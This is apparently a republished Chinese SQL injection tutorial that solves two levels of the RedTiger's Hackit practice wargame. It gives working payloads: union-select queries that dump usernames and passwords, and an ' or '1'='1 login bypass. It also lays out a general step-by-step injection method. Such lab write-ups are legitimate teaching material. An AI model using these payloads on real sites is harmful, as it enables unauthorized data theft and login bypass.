SQL注入教程——(三)简单的注入尝试

编程知识 行业动态 更新时间:2024-06-13 00:22:19

本文将以简单的SQL注入实例来讲解SQL注入的基本思路与流程,当然本文实例只是注入的一种情况,初学者应重点理解思路,学会举一反三。

GET与POST

进行SQL注入攻击,大家还需要了解两种基本的 HTTP 请求方法:GET 和 POST。

在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。

  • GET - 从指定的资源请求数据。
  • POST - 向指定的资源提交要被处理的数据

1.get方法特点是参数直接从URL中传递
常见形式:
http://www.test/index.php?[parameter1]=[value1]&[parameter2]=[value2]

即:在URL文件路径后加上“?”,然后附加上要传递的参数和值。

2.post方法特点是常以提交表单形式传递参数
常见形式:

用firebug查看两者的区别:
get:
https://redtiger.labs.overthewire/level1.php?id=1

post:

post注入多为字符型注入,需要注意引号闭合。

正文

本文以RedTiger’s Hackit两道简单的SQL注入为例。

1.简单的get注入

第一关

URL为:https://redtiger.labs.overthewire/level1.php

点击Category:1 后,URL变为:https://redtiger.labs.overthewire/level1.php?cat=1
且出现文字:

是以get方式传递cat 参数,进行判断是否存在注入点:
https://redtiger.labs.overthewire/level1.php?cat=1 and 1=1 正常
https://redtiger.labs.overthewire/level1.php?cat=1 and 1=2 运行异常

看来存在数字型注入,利用order by 测试出存在4个列:
https://redtiger.labs.overthewire/level1.php?cat=1 order by 4 正常
https://redtiger.labs.overthewire/level1.php?cat=1 order by 5 运行异常
(此处可直接利用union联合查询进行判断列数)

构造union联合查询语句,找回显:
https://redtiger.labs.overthewire/level1.php?cat=1 union select 1,2,3,4
发现3,4 处存在回显

且页面中有提示:

得知tablename为level1_users,并根据页面所要提交的信息为username,password 猜测列名为username,password
于是构造payload:
https://redtiger.labs.overthewire/level1.php?cat=1 union select 1,2,username,password from level1_users
得到username和password,提交后get flag。

本题实现的是通过SQL注入进行获取敏感数据。

2.简单的post注入

第二关

URL为https://redtiger.labs.overthewire/level2.php

首先发现URL中并没有以get方式传参,根据题目“一个简单的登录绕过”,
且提示“条件”,考虑到本题是post注入,于是构造万能密码进行绕过:
username任意填写,password' or '1'='1

此时用firebug查看可以得到如下信息:

结果成功绕过,get flag。

本题实现的是通过SQL注入实现登录绕过。

总结:
基本可通过get和post两种方式进行SQL注入(只是最基础的两种方式,还有如cookie注入等等注入方式),get注入是直接通过URL进行注入,post注入是通过提交的表单信息进行注入,且get方式注入数字型和字符型注入都存在,而post方式注入多数为字符型注入。

SQL注入基本流程可概括如下:
1. 判断是否存在注入点;
2. 判断字段回显位置;
3. 判断数据库信息;
4. 查找数据库名;
5. 查找数据库表;
6. 查找数据库表中字段以及字段值。

更多推荐

SQL注入教程——(三)简单的注入尝试

本文发布于:2023-04-02 05:16:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/5e275ba4210e478046656dc9375f8c2c.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:简单   教程   SQL

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!